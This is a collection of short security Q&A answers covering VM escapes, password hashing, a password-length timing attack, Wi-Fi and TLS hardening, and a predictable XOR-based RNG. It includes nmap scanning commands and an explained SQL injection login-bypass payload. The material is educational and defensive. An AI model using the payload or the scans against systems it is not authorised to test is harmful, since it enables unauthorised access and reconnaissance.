What kind of access on the guest is required to break out of a virtual machine?

Hypervisors are designed to protect against malicious guests, but bugs exist.

A hypervisor works by emulating certain hardware components so hardware drivers in the guest can communicate with them correctly. It also sets up hardware accelerated virtualization of the CPU and memory. I explain a bit about x86 virtualization and how it works in another answer. In general, exploiting a hypervisor will require either exploiting a bug in the emulation code of the hypervisor (code which either emulates trapped instructions or hardware devices), or the underlying hardware virtualization technology provided by the CPU itself. Different hypervisors merely provide different ways to interact with the hardware-provided virtualization. Xen, KVM, VirtualBox, HyperV, etc. are all high-level interfaces to the same primitive VT-x (for Intel hardware), which provides a set of CPU instructions for managing virtualization context (entering and leaving VMs, for example).

  Is it enough to exploit the vulnerability in a program?

You need to be able to execute arbitrary code in the guest. One way to do that would be exploit a vulnerability in a program, for example exploiting a web server that is running on the guest.

  Is root or kernel access required?

Sometimes, but not always. Root itself is just a regular user running in usermode. The only thing that makes it powerful is the fact that the kernel trusts it, allowing a root user to compromise the kernel. Once the kernel is compromised, malicious code can run at the highest privilege level. Many hypervisor exploits require messing with the virtual hardware in a way that can only be done in kernelmode, but not all vulnerabilities are like that. Some can be exploited by unprivileged code running entirely in usermode. In general, kernelmode allows for more in-depth interaction with the underlying hypervisor, greatly expanding on attack surface area.

  Are there maybe even possibilities to directly exploit the host without any vulnerabilities in the guest?

Assuming the attacker has local unprivileged access to the guest, they may be able to attack the host over the network, if the host is listening on the network. This really depends on your setup.

  To what extent does it depend on the hypervisor?

Heavily. The vast majority of VM escapes rely on vulnerabilities in the hypervisor. An exploit against Xen won't work on KVM. An exploit against KVM won't work on HyperV. Etc. While there are certain vulnerabilities that apply to all hypervisors by exploiting the underlying hardware accelerated virtualization technology (e.g. VT-x), these are far less common and tend to be much more conditional. An example is an IOMMU bypass on Intel VT-d1 where Interrupt Remapping and x2apic are not supported. This vulnerability allows disabling IOMMU restrictions, regardless of hypervisor.


How to deal with SSH keys in insecure environment

You're correct about how the passphrase works. And, given your situation, I'd advise you to not use an SSH agent. You should also be aware that if someone with root access installs a keylogger on your machine, your passphrase may be compromised. To reduce the risk, you can keep the key on e.g. a USB stick, instead of on the local harddrive. For extra security, get an encrypted USB stick such as the Ironkey - they work with Linux as well as with Windows and Mac, and can be set to lock themselves after a certain period of time so that even if you leave it in the machine, it won't be usable without the password.

But in addition to protecting your key, there are some things you can do on the target system to make the key less useful to an attacker.

Have a separate key for each system you connect from.
Restrict the key on the target server, so that it can only be used from that one machine. You do this by editing the authorized_keys file on the server, by inserting from="10.1.2.3" at the start of the line containing this key. (There's more information about how to restrict SSH keys in this ServerFault question.)
Make sure you have logging on the target server, and check if someone actually does log in there. The logs should go to a remote server, as an attacker might be able to alter locally stored logs.
Disallow root logins and passwordless sudo. Make sure that sudo actions are logged.

In addition to these specific points, I'd also say that one should always consider the possibility that an SSH key can get compromised. The way to deal with it is to not rely completely on the SSH key to protect your system - you also need to look at the complete system, logging, checking for rootkits, noticing if/when system files get modified, etc.


How can we exchange public keys between two servers in a secure way?

This will mean a lot of unneeded overhead. I'd suggest following:

Since you don't have certificates issued by CA, create your own CA. Namely, create a self-signed certificate and add it to a key store on both servers, so that your certificate is trusted.
Issue certificates to each server and sign them with private key of your own CA.
Make your servers use their certificates when communicating with the others.

Thus you will actually use PKI.

In the future, when you get certificates from the real (commonly known) CAs, the only thing you will need to do will be to replace your own self-signed CA certificate by (also self-signed) certificate of a real CA.


Configure http honeypot on my ubuntu server

I think you're confused about what a honeypot is used for. The situation you described above isn't a honeypot at all, it's just a proxy that has non-standard configuration.
To set up an actual honeypot, you have a separate system (lacking some of your real defenses) that's supposed to be attacked and abused, thereby saving systems you care about from that treatment. So you can collect data on who/what/how is attacking you.


Save Password length after hash to minimize calculation

Yes there is a security issue. You stand the risk of inadvertently leaking the length of the passwords using this approach.

An attacker could abuse this to determine the length of a password using a form of timing attack.

Since calculating the hash is computationally more expensive than comparing the length of the provided password with the stored length we can assume that the length comparison will execute much faster than the hash calculation and comparison and therefore return a result to the user much faster (we are speaking about milliseconds here - but what is important, is that it is measurable).

Now, the attacker can simply start submitting passwords of different lengths and measure the time it takes to get a response (adjusting for network latency and other factors) and measure the response times. Since the server will take longer to respond when actually comparing the hash the attacker will know that the length of the password is correct when the response is relatively slower than in previous guesses. Having the length of the password then makes it much easier for the attacker to start guessing at the correct password.

If computation on the server is really an issue for you, you can mitigate this risk by ensuring that the response is only returned after a fixed amount of time. This way the time the response takes leaks no information to the attacker as it has no bearing on what computation is being made in the background.

Everything considered I'd say that the risks of doing something like this definitely outweighs the rewards.


Secure Connection between two mobile (Android and/or iOS) devices

Sounds like a very cool project.  It seems that you have rediscovered the very problem that Kerberos was designed to solve.

Looking at your example, why would you not just use PKI both ways? Or can you not control the certificates at both ends?  You could look at SSL session initialization to see how you could transfer a confidential message under the gaze of a warden.

If you are rolling your own solution, you will find that secure key storage is a very difficult problem to overcome.

EDIT:
To address your well thought out concern, Elliptic Curve Cryptography is often used on mobile devices because of computational limitations.


To find out if the device's purpose, you need to know more information than just the open ports.

Get the Service Version info with nmap

nmap -sV -p 4096 192.168.2.16

Look up the MAC address if it is on your local network

Each MAC address has an OUI which tells you the manufacturer. It can be faked, but is not commonly. This will tell you if it is an Apple device, Cisco, or other. Here is an OUI tool to look up MAC addresses.

Perform an OS scan.

nmap -O 192.168.2.16
(fuzzy detection) nmap --osscan-guess; --fuzzy 192.168.2.16
This looks at how the server responds to a variety of TCP and UDP packets, looking for how different TCP/IP stacks deal with it.

Broadly speaking, if there is a server that you don't know what is there, and is listening on weird ports like that, you have a good reason to be concerned and investigate it further.


Is it feasible to encrypt customers personal data? (name, address etc...)

Simple answer - yes, it is feasible - if by that you mean 'can it be done?' as you can encrypt pretty much everything stored.

However the extra computational overhead (especially on encrypted databases) is usually looked on unfavourably, as is the cost to recode, updating procedures etc etc. Obviously you can't just hash if you want to allow partial searches on names, addresses etc., so everything has to be encrypted to a key, which then needs to be protected etc.

Before regulation such as PCI-DSS, many organisations didn't want to encrypt credit card data, due to the costs involved, and even now, PCI hasn't managed to persuade every handler/storer of credit card data to do this correctly.

So the long answer is - No, it is not going to get any budget until it is mandated.


In brute force dictionary attacks the speed of the algorithm essentially defines how many passwords can be checked within a specific time. The fewer passwords can be checked the better the algorithm protects against brute force. That's why proper password hashing algorithms are deliberately slow, unlike plain MD5 or SHA256.

Additionally proper password hashes use a random salt so that it is impossible to reuse a precalculated mapping between password and hash.

For more see How to securely hash passwords?.


Hashing user passwords via Javascript client-side versus server-side hashing?

First and foremost "best practice" is to cease to use the term "encryption" because SHA-256 is not encryption. This is called hashing. If your senior developers and the third-party auditors all talk of SHA-256 as "encryption" then rest assured that none of them actually knows what they are talking about.

In your system, whatever the client sends, be it "encrypted" (hashed) or not on the client, is a value that grants access; that value is thus password-equivalent and revealing it is as deadly to the security of your server as the plaintext password. That kind of client-side hashing does not bring the security improvement that your auditors appear to believe it to do. Compounding the situation is the fact that when the client performs hashing with Javascript code, that Javascript code was just sent by the server itself, so a compromised server could perfectly send some Javascript that simply receives the user password as he types it in, and send that password to a server in Mongolia.

In any case, human minds being what they are, user-remembered passwords are weak against brute force (called "dictionary attacks"). A simple invocation of a cryptographic hash function such as SHA-256, irrespective of how cryptographically secure that function is, is way too fast to provide much protection here; an off-the-shelf desktop PC can hash potential passwords at rates counted in billions per second. Good password hashing requires dedicated functions with a configurable (but inherently high) computational cost. You won't be able to do that properly in Javascript because Javascript is feeble for computation-intensive tasks.

The best practice is to use SSL (always), transmit the password as-is in the SSL tunnel, and let the server apply a proper password hashing function, i.e. bcrypt (with a high enough iteration count -- as high as can be tolerated given the available hardware and expected peak load).

Occasionally, one encounters auditors in want of something to say, and you may have to perform some ritual dancing to appease them. One of such dances is sprinkling cryptography in various places, like cake icing. This is idiotic but harmless, as long as you do not remove the important parts. In your case, you can do SHA-256 hashing on the client side, but you must not remove the proper password hashing on the server side -- that is, consider the client-computed hash result as the "password" and use that as input to bcrypt. (Beware that hash outputs are binary, not text, so some encoding is needed, e.g. hexadecimal or Base64.)

The extra SHA-256 would then be useless, but will not make your system weaker -- contrary to what you are purporting to do:

  So for our future release, we've transitioned to using cryptojs to encrypt passwords (unsalted) client-side, and these values are stored directly into the database without any further manipulation.

If you do that, then the database contents can be used to grant immediate access to the server. A simple read-only glimpse at the database (e.g. a discarded broken hard drive, a lost backup tape, a SQL injection attack...), and your security has gone down the drain.


Is a ptr mechanism in an SPF record secure?

PTR records are a security issue in my opinion, and I'm surprised it's not called out in either the Security Considerations or Eratta.

This is an opportunity for someone to submit such a security note regarding this.


What is the reason for iOS per-file key encryption?

File level encryption keys allow each file to be securely deleted instantly, regardless of the file’s size, simply by deleting its key.


From a deployment and OPS perspective, should a S/MIME signing and encryption key have different expiration dates?

I would suggest that the lifetime of a key should be determined by its strength, according to both its keysize, and to the likelihood of reports of weaknesses in the algoritm used to create the keys.

According to Technet.com in 2009, regarding how long RSA suggest the validity period of a certificate should be, based on how long it would take an adversary to compromise a key, based on the size of the key alone.

Key length of 1024:  Validity period = not greater than 6-12 months
Key length of 2048:  Validity period = not greater than 2 years
Key length of 4096:  Validity period = not greater than 16 years

Also, you cannot have a certificate signed by a CA have a validity period longer than that of the CA itself.


How do automated systems store their keys securely?

There are a large number of ways to do this. Simplest is this:

A key thing you need to remember is that you don't need to store authentication keys or tokens where an attacker can get them!

On a well configured webserver you have public and private environments, and they can be well segregated.


Is there any existing attempted implementation of GSS-API/SPNEGO/GSS-SPNEGO for anything other than Kerberos / NTLM?

There isn't really any other way to use it other than how it was designed because then you're not using SPNEGO, but some other protocol you've invented.

What I think you're asking is whether there are other mechanisms used out in the wild other than Kerberos and NTLM, and the answer to that is yes. A handful that I'm aware of are

Digest
NegoEx (an extension to the negotiate protocol that provides more knobs)
PKU2U (Kerberos derivative)

There are probably more, but these are the ones that are majorly used.


Secure connection between two clients inside a wifi without internet connection

It is true that many packets sent over Wi-Fi can be collected using ARP spoofing. Because ARP operates on the link layer of the OSI model, there's very little you can do about this.

What is currently accepted as best practice regarding Wi-Fi, is

Use a properly designed security mechanism: WPA2;
Use a strong pre-shared key: 15 characters at minimum and randomly generated;
Switch off the Wi-Fi Protected Setup (WPS) feature.

The pre-shared key must be random because a single handshake packet pair (challenge and response) can be used to crack the key off-line by using brute-force, dictionary, and/or rainbow table attack (or a combination of these methods), facilitated by the Aircrack-ng Wi-Fi suite, for instance.

You can read more about WPA2's vulnerabilities on Wikipedia. It reveals that you should switch the Wi-Fi Protected Setup (WPS) feature off, and that using a strong and sufficiently long shared key is imperative to avoid successful cracking of the pre-shared key by using brute-force over custom hardware (Aircrack-ng running on a FPGA).

Computers communicating over a WiFi connection (client-server) use the application layer of the OSI model, like TLS/SSL (and HTTPS). Using a secure application layer communication protocol (like HTTPS), adds an additional layer of security. So if your requirement is high security, this approach is certainly recommended.

VPN operates on either the data link layer (layer 2) or network layer (layer 3) of the OSI model, depending on the protocol that's being used. So, using VPN adds yet another layer of security.

These multiple layers of security is commonly referred to as Defense in depth. Of course, it is important not to share keys between each security system. You can be sure that if a hacker breaches the first layer by cracking the key, he or she will try to use it on each subsequent layer encountered.


Failed PCI-DSS Compliance | Submitting Evidence

In order for such evidence to be accepted, it needs to be possible to tie the information in the image showing the Service Pack level to the system (IP address/URL) being scanned by Trustkeeper. A screenshot that has different windows open that shows you're providing appropriate evidence for the correct system should do the trick.

Do you know if the Service Provider is performing internal vulnerability scans on those systems? Perhaps you could get access to those results.

You could try running an online tool such as http://www.yellowpipe.com/yis/tools/craftnet/ though you're unlikely to get a different result to nmap.

As you'll have been running external vulnerability scans every 3 months, has this system ever failed before?


Exploits are typically platform dependent, although the vulnerability might not be.

In this case it depends on whether the crash is in firefox, or some underlying library.  If we're talking about a JPG for instance, the crash may be resulting from an error in libjpg, in which case it is probably not going to be cross platform.

However, if the crash is in some firefox specific code that is cross platform, there is a chance that the vulnerability will exist on multiple platforms.  Whether or not the vulnerability can be exercised to produce RCE is another question though.  There are a lot of variables in this case, including the compiler, the optimizations done by the compiler, stack layout, possible calling convention differences, the heap allocation algorithm used by the OS and many other elements.  The crash may exist on both systems, but it is possible that only one is reliably exploitable.  It may also be the case that one operating system is exploitable by this single vulnerability, while the other might be vulnerable when another vulnerability is exercised in conjunction with the original bug (think memory disclosure or arbitrary write bug).

In the case that the vulnerability exists on both platforms and can be exercised, the exploit code and shell-code will likely be very different.  Assuming at least one of the operating systems uses DEP, your ROP chain is going to be very different, as are the locations of the ROP gadgets.  If exercising the vulnerability requires any kind of heap grooming, you are going to find that heaps vary greatly between different operating systems, and even between different versions of the same OS.

There is not simple answer to this question, as it is highly situation dependent.  In theory though, it is possible for cross platform code to contain a bug that is vulnerable to exploitation on multiple different platforms.  It is much less likely though that the procedure used to exercise the vulnerability will be the same.


Tethered connection appears to be intercepted whilst at work

Specific reasons for "why" this could be happening are numerous. Do you work in a tightly regulated facility? Could your employer have something to interfere with radio frequency emissions in the vicinity (intentional interference or not)?

The first thing to try is changing the wifi channel your hotspot uses, if the iPhone allows this.

Top things I would guess as the cause:

Your hotspot configuration overlaps or conflicts with another radio signal in the area.
An active countermeasure system is in place, overtly trying to disrupt the wireless signals it detects between your phone and laptop (not unheard of, but not very common in my humble experience).
A malicious actor is trying to man-in-the-middle (aka Evil Twin) attack your connection (more common, but not exactly something you encounter every day).


How well-protected should customer billling & invoice data be?

Token as an equivalent of a document
As I understand from your question, the token essentially provides access to all the information typically contained in a customer invoice. This implies that you should approach the security of this token (both in storage and in transit e.g. over email) in the exact same manner as you would the document itself.
If sending that invoice in pdf format over email is acceptable, then sending that token is acceptable as well. If you would only allow downloading such invoices over https but not over http, then the urls with these tokens should also be set https-only. A database containing a lot of these tokens has the same risks as a file storage system containing a lot of historical invoices.
The only token specific risk that comes to mind is guessability - if the tokens are not properly implemented, an attacker would be able to obtain this data without having a proper token by either random guessing or by modifying an existing token. However, it seems that it's not the case for these particular tokens; a simple true random ID from a very large space of possibilities is safe against such attacks.


@Mark is on the right track, but not quite right. You can consider the array elements and RNG output as a system of linear equations, but they're not linearly independent. In fact, you can never fully recover the array elements, because xoring the same value into all values in two of the arrays will give the same RNG output -- the xored value is included twice in each element of the RNG output, so it cancels itself.

This actually makes the attacker's job easier, because they don't have to infer the entire array to predict all future output, so they don't need as many equations (/outputs). It's possible to predict all output from just (sum of primes) - (number of primes) + 1 consecutive outputs.

Here's an example, using arrays of lengths 2, 3, and 5. Call the arrays A (length 2), B (length 3), and C (length 5), and the output R. Then we have:

R0 = A0 ⊕ B0 ⊕ C0
R1 = A1 ⊕ B1 ⊕ C1
R2 = A0 ⊕ B2 ⊕ C2
R3 = A1 ⊕ B0 ⊕ C3
R4 = A0 ⊕ B1 ⊕ C4
R5 = A1 ⊕ B2 ⊕ C0
R6 = A0 ⊕ B0 ⊕ C1
R7 = A1 ⊕ B1 ⊕ C2
R8 = A0 ⊕ B2 ⊕ C3
R9 = A1 ⊕ B0 ⊕ C4

Consider:

R0 ⊕ R3 ⊕ R5 = (A0 ⊕ B0 ⊕ C0) ⊕ (A1 ⊕ B0 ⊕ C3) ⊕ (A1 ⊕ B2 ⊕ C0)
 = A0 ⊕ B2 ⊕ C3
 = R8

So xoring the zeroth, third, and fifth outputs predicts the eighth. And xoring the first, fourth, and sixth would give the ninth, etc.

Net result: this is completely useless as a cryptographic RNG.


Can unencrypted email be read or altered while it is in transit?

Yes, it can be read or altered if TLS is not used either between the sender and their mail server, or between the mail servers involved in handling the message, then anyone who is able to see the traffic between them can read or even alter the message in the clear.  They would need to have control of a system along the routing of the traffic so it isn't super likely, but it is certainly possible.

It is very difficult to ensure that TLS is used on all links, so if you need security for the message you should encrypt the message on the client prior to sending it.


PC Component Firmware integrity and security

Verifying the absence of something is much harder than verifying the presence of something.

This statement holds true in many things, information security included.

About your threat model...

One central aspect of information security is your threat model, aka. "What are you trying to defend yourself from?" Since you specifically mentioned Vault 6 and Vault 7, I am going to assume that your threat model is a Three-Letter-Agency (or MI\d, if you fancy so).

With such a threat, you again have to make a choice. Do you think you are personally being targeted, or do you worry about mass surveillance?

I worry about mass surveillance

In the eyes of the TLA's, you're a nobody. You're John Smith, completely unremarkable. You may assume that institutions like the NSA, CIA or
ţ͟͡͝h̵̛͢͡é̕ ̷̷̕͡O̴̶n̷e͜͡ ̧̨̛͟w̡h͟͟͠͞o̵̷̵͘͟ ̵̵͢͟͞W̵̛a̷҉̨t̵͢ć̷̴̶͢h̢̛͢͟e̵̴̛͢͟s̡̛͜͡  have infinite budgets to insert custom hardware into every single laptop being sold, but such a thing would not really be feasible from their perspective.

Why so? Because contrary to popular belief, these agencies don't particularly care who you voted for, what YouTube videos you watch or if you download pirated music. These agencies care about threats to their nations, or about information that could further their nation's interest.

Unless you fall into one of those targets, all the information these agencies collect about you is information they can easily gather and process.

This likely includes whom you talk to, what websites you go to, and a bunch of things more that none of us is aware. Why so? Because these kinds of information can easily be gathered at a single point: A TelCo company, an ISP, etc.

No need to put a chip in every single smartphone sold, if all you had to do was putting some machines into Room 641A. Much cheaper, much more effective.

Furthermore, imagine if a TLA had a keylogger installed in every single computer ever sold. The amount of data the TLA would have to process is so immense, that any meaningful and relevant information there was to be gathered would immediately be lost in the immense noise generated by millions and millions of users typing away at their keyboard.

So as a result, I would not really be worried about it. Most of the web is moving to HTTPS-only anyways, so the widespread adoption of HTTPS in recent years has helped a lot.

I am personally targeted

Oh boy, the hand you have been dealt doesn't look good. I don't know why you are targeted - perhaps you are a journalist in a repressive regime - but if you personally are on the list of a Three-Letter-Agency, then things look really really bad.

First of all, a TLA is far more likely to invest a considerable amount of money into watching you than they are to watch John Smith from the last section. This means that you will have to act as if you were John Smith.

For instance, don't buy a laptop on Amazon and have it shipped to your home address. It could be intercepted, have some rootkit implanted and then have it shipped to you in 2+ business days.

Instead, buy a laptop in a large electronics store away from your home address. These stores get quite the amount of hardware, and inserting backdoors into every laptop sold within 100 km of your home residence is a task that asks for quite a considerable amount of financial investment - and even then it's not certain that you - their target - will even buy one of them.

The same goes for individual components, as far as they are user-interchangable. You can buy your own SSD, HDD, optical drive, etc. somewhere in the middle of nowhere. The chance that this specific piece of hardware is backdoored is rather unlikely.

Of course, this isn't the whole story. OpSec is a huge field and I am barely scratching the surface.

What about checking the firmware of hardware I already own?

Basically an impossible task. You would have to have the hardware to dump the firmware of your device, and then have the means to analyze every single instruction in this firmware. Furthermore, you would have to check the schematics of the hardware, and then analyze every chip on the hardware to ensure that there isn't some hidden logic in one of them.

The reason why it's not so simple as just checking the hashsum of the firmware is because you have nothing to compare it to. You can check if the firmware you dumped is the same as the firmware offered for download by the vendor - but how do you know that that firmware also isn't backdoored?

Even if you had the source code, how can you be sure that the compiler used to compile that source code didn't insert a backdoor? How can you be sure that the disassembler you used to view it didn't silently remove the backdoor? How can you be sure that the text editor you used to look at the source code didn't silently hide the backdoor?

It may sound like tinfoil hat talk, but we're talking about targeted attacks by a Three-Letter-Agency. Tinfoil hats are the only appropriate headgear to wear.


Is it possible to configure iptables in a way that such incoming connections are blocked?

When browsing the web there are no incoming connections. All connections originate locally at the browser which requests a response from a specific web server. And the HTML/script in the response then causes the popup to display. Thus any attempts to block popups must either block the browser from issuing a request to the specific site, block the request issued by the browser to reach the site or make sure that the browser does not execute the HTML/script causing the popup.

The last way, i.e. not executing the popup, is done by the code inside the browser, which usually limits the number of popups within a time and tries to make sure that a popup is somehow related to a specific action by the user, i.e. useful popups showing that the entered value is invalid or similar. But these heuristics can be tricked and thus you see unwanted popups.

Therefore it might be a better way to restrict access to sites which serve the code causing the popups. Unwanted popups are usually part of advertisement and thus an ad-blocker extension in the browser might help.

But, you've asked if this can be done with iptables. Since iptables is a packet filter only it can only filter access by IP address, port, protocol and similar meta data. Especially it is impossible to use iptables to  analyze the content of the servers response and find out if it contains popup code and maybe remove this code. Thus your only option with iptables is to block access to the site causing the popup by IP address, which means that you have to get the IP address first somehow. This might be possible in some cases since the IP addresses of advertising networks usually don't change that often.  But note that sometimes a specific IP address is not only used to serve the unwanted popup but also content you actually want to access or content which is needed for properly displaying a site. Thus simply blocking access to an IP address will cause unwanted side effects in some occasions.

This makes iptables an inadequate tool for the problem you want to solve, i.e. it will work in some cases but fail in others and cause unwanted side effects. You better use a tool which works at a higher level, like an ad-blocking extension in the browser.


What can my Telco / ISP learn from my Signal (secure messaging app) communications?

Client's traffic to Signal server is also protected with TLS. ISPs cannot obtain meaningful data if you are doing text messaging only. However, based on traffic patterns, they can figure out when you are doing group messaging. Unlike WhatsApp group messaging, Signal's group messaging does client-side fanout. In Signal's group messaging, sender replicates the group message for every group recipient, encrypts them individually using pairwise messaging and sends all of them at once to the server. This is an intended design to keep your social graph invisible to the server. Signal web service has no knowledge about your groups.
This pattern can be fingerprinted by ISP. It can distinguish when you are doing a pairwise messaging and when you are broadcasting a message for the group. Though knowing this information is not valuable enough. Signal's VoIP calling is peer to peer. Your ISP can see whom you are connected with and how long was your session. They can also see if it's group calling or pairwise. Group calling can be used by ISP to learn about your social graph. If you want Signal client to use a relay for calling, force your router to only use Symmetric NAT.


How is a message verified from a hashed and encrypted version of the message?

Hash is only used for integrity check.
First you encrypt the plaintext using session keys and then compute the MAC of cipher text.
So you send (CipherText, MAC_Of_Cipher)
On receiver side, we compute MAC of Cipher text(using MAC Key) and if both received MAC and calculated MAC matches, message is authentic and we proceed to decrypt the message.

MAC provided authenticity as well as integrity of message while hash only provide integrity check.

Session keys and MAC Key are generated at both ends  while creating secure tunnel like TLS.


Copyright issues with encryption algorithms

There is no copyright on algorithms. Algorithms are like ideas; the kind of intellectual property which applies to them is patents, not copyrights. There are some cryptographic algorithms which are patented, but most are not and some used to be patented (but patents ultimately expire). Neither DES, AES, Blowfish or Twofish is patented. An example of patented symmetric encryption system is IDEA (US patent will expire in 2012). The RSA algorithm (asymmetric encryption and digital signatures) was patented, but the patent expired ten years ago. Basically, if a cryptographic algorithm is made available through an already installed Java VM, then it probably is not patented (anymore, or at all).

There can be copyrights on implementations. Using an implementation which is already there is not impacted by the copyright (it is a copyright, not a useright). You have to worry about copyright when you include external code into your application, not when you use external code provided by the installed Java VM through its published API.

Software systems can further be controlled by licenses. One could imagine a specific license which prohibits using some of the software depending on usage context or just any arbitrary condition. One could imagine such a software license on the implementation of a cryptographic algorithm. This would be the problem of whoever uses your software, not your problem. The Java VM license is the one which applies here. But, as far as I know, there is no usage restriction on the Java VM components, be they cryptographic or not. The VM vendor usually does not wish to restrict usage of his API.

Local laws may apply, especially on the matter of encryption. Depending on the country, laws may limit usage, distribution, export and/or import of software using cryptographic algorithms. The Java VM (at least, the one from Sun/Oracle) includes a relatively complex system of permissions and security rules which determines which algorithms are available, and with which key lengths. Thus, it can be assumed that whatever algorithm is made available to applications by the VM has already been tuned with regards to key lengths in order to comply with local laws. There can always be exceptions in some situations (if you are a North-Korean agent hard at work building a nuclear bomb somewhere in South Dakota, then using cryptographic algorithms, even if legally provided by the installed Java VM, might imply a few extra years of jail when the FBI gets you). In practical terms, you should check the export laws of your country if you distribute software which provides some kind of encryption service, notably if you put it on a Web site.

Summary: there is no intellectual property related worry to have about using cryptographic algorithms provided by the Java VM. You should make some inquiries about regulations on cryptographic software distribution and export. You can begin by the Wikipedia pages on crypto export and import.


Perfect Forward Secrecy is obtained by using Ephemeral Diffie-Helman keys (DHE or EDH). So to get the cipher suits in that list that support PFS you could do:

$ openssl ciphers -v aECDSA:aECDH:kEDH:kRSA | grep DHE

This will include ciphers based on ECDHE (Elliptic Curve) as well as DHE (RSA). An advantage of ECDHE is that it is a lot faster than DHE. However in the list generated by that command there are still quite a few weak ciphers that use weak or no crypto: DES, RC4, SSLv3, NULL.

All of those happened to have SSLv3 in common, so by excluding SSLv3 you get a list of 12 solid ciphers:

$ openssl ciphers -v aECDSA:aECDH:kEDH:kRSA | grep DHE |  grep -v SSLv3

  ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(256) Mac=AEAD
  ECDHE-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA384
  ECDHE-ECDSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(128) Mac=AEAD
  ECDHE-ECDSA-AES128-SHA256 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AES(128)  Mac=SHA256
  DHE-DSS-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(256) Mac=AEAD
  DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(256) Mac=AEAD
  DHE-RSA-AES256-SHA256   TLSv1.2 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA256
  DHE-DSS-AES256-SHA256   TLSv1.2 Kx=DH       Au=DSS  Enc=AES(256)  Mac=SHA256
  DHE-DSS-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=DSS  Enc=AESGCM(128) Mac=AEAD
  DHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH       Au=RSA  Enc=AESGCM(128) Mac=AEAD
  DHE-RSA-AES128-SHA256   TLSv1.2 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA256
  DHE-DSS-AES128-SHA256   TLSv1.2 Kx=DH       Au=DSS  Enc=AES(128)  Mac=SHA256

Do note that you are excluding 4 PFS ciphers with your aECDSA:aECDH:kEDH:kRSA selection.

  ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
  ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA384
  ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(128) Mac=AEAD
  ECDHE-RSA-AES128-SHA256 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA256


How can a website like mobilepay.it know your telephone number?

I believe the MSISDN (phone number) is passed over by the Mobile operator directly to the mobilepay.it server. When you are connected to a 4G or 3G network your mobile network operator knows this information and it can pass over to any application server if it has an agreement. I am also interested to know what protocol they use, anyway for sure mobilepay.it has agreements will all service providers in Italy.
When you browse using a PC on a Wifi, or your mobile phone on a wifi they don't detect your number.
If you use a wifi but your connection is a 3G/4G, e.g. tethering on a mobile phone or 4G router, they may detect the 3G router SIM MSISDN, but it depends on the device and hotspot configuration, I guess.


Why did this particular input work for SQL injection?

Whenever I change the " to ' in any other configuration within the query, it fails.

That would be:

SELECT * from users where
    username = "1' or '1' = '1"
and
    password = "1' or '1' = '1"

This fails because you're literally querying for a user called 1' or '1' = '1 with a password 1' or '1' = '1. If you want to escape from double quotes, you need to use double quotes yourself - as you did. This is your successful query reformatted:

SELECT * from users where
    username = "1"
or
    '1' = '1" and password="1'
or
    '1' = "1"

Since '1' == "1", this evaluates to true.

  And the fact that there are an odd number of " and ' within the query is driving me crazy.

There isn't actually an imbalance of quotes. In particular, '1" and password="1' is one single-quoted string which just happens to have spaces and double quotes inside.


Email protocols allow for the existence of whitelists based on verified known-good servers and is a coherent system of servers. "Security services", on the other hand, have no such protocol and are not coherent. Each service needs to whitelist your IP.

On top of that, there should not be such a whitelist: imagine what would happen if a malicious entity got on to the whitelist...


What is the real advantage of using a "more secure" algorithm like bcrypt for password hashing?

Gaining read-only access is a much more likely scenario than write access - after all, read access to an old backup or test server somewhere is nearly as good as read access to the real server. (since people don't change their passwords often enough)

Also though, one account nearly anywhere (unless you're a banking site) isn't that valuable. Hundreds of thousands of accounts, though - now you're talking. And while a single db write might go unnoticed, thousands of anomalous db writes - especially with every person whose account was written to now being unable to log in - generally will get noticed. Furthermore, cracking your user's password gets access to everywhere that user has used that id/password combination, which is likely to include sites more valuable than yours.

As for your record storage scheme, the main reason to store the output of your password hashing function in one blob that the rest of the database doesn't interpret (as opposed to separate salt and hash fields) is that you don't want to encode your hashing algorithm into your database. What if tomorrow you wanted to change to PBKDF2, or scrypt, or in fact bcrypt? Better to let an existing vetted password hashing function do the interpretation than to tie yourself to hash functions that fit the format of your current salt + commodity hash method. Instead, if you just have a field for algorithm and another field that is just "string to pass to the algorithm along with a password to see whether the password is good" (you might call this field hash or saltNhash), then you can even upgrade users transparently as they log in.

As an aside, salted SHA2 is acceptable password security if you're standing up a web service in 1995. Twenty years on, use bcrypt or something even better. Salted commodity hashes (such as MD5, or the SHA* family) are vulnerable to cheap GPU-based attacks, to the point where rainbow tables aren't economically efficient any more - it's cheaper to just run the dictionary attack as needed than to keep around a giant table that's trivially defeated by salting anyway.

Password hashing is something other people have already worked out in detail for you. You wouldn't write your own crypto or your own video compression algorithm; don't make the mistake of ignoring the good solution in front of you in exchange for years of discovering subtle corner cases people have already designed for.


What's to stop someone from 3D print cloning a key?

The simple answer is: nothing.

This has already been done for many years, with keys being cast or created from blanks using hand drawn copies, photographs, remembered shapes etc all being successfully used, both by locksmiths and criminals.

A 3D printed key will do just as well, if strong enough, or it could be used to cast a key if necessary, or as pointed out by @EkriirkE - you could use a torque bar to turn the barrel.

You should not ever post picture of keys to a public site, unless it is for something unimportant.


TL;DR: It looks like the app is designed without taking into account that there are things like explicit proxies where the DNS resolution is done on the proxy. The "solution" suggested by the app support will not work. They need instead rethink the design of their app.

Given the description it looks like that the app is using a public domain name and that the DNS for this domain returns an IP local to the host - for example a lookup to localhost.example.com returns 127.0.0.1. This kind of setups is typically used to allow a public SSL certificate for a server at the local machine (bad idea since often all clients share the same private key for the certificate this way) or that some application on the internet can share cookies with the local application (i.e. www.example.com on the internet and localhost.example.com share the same cookie domain example.com).

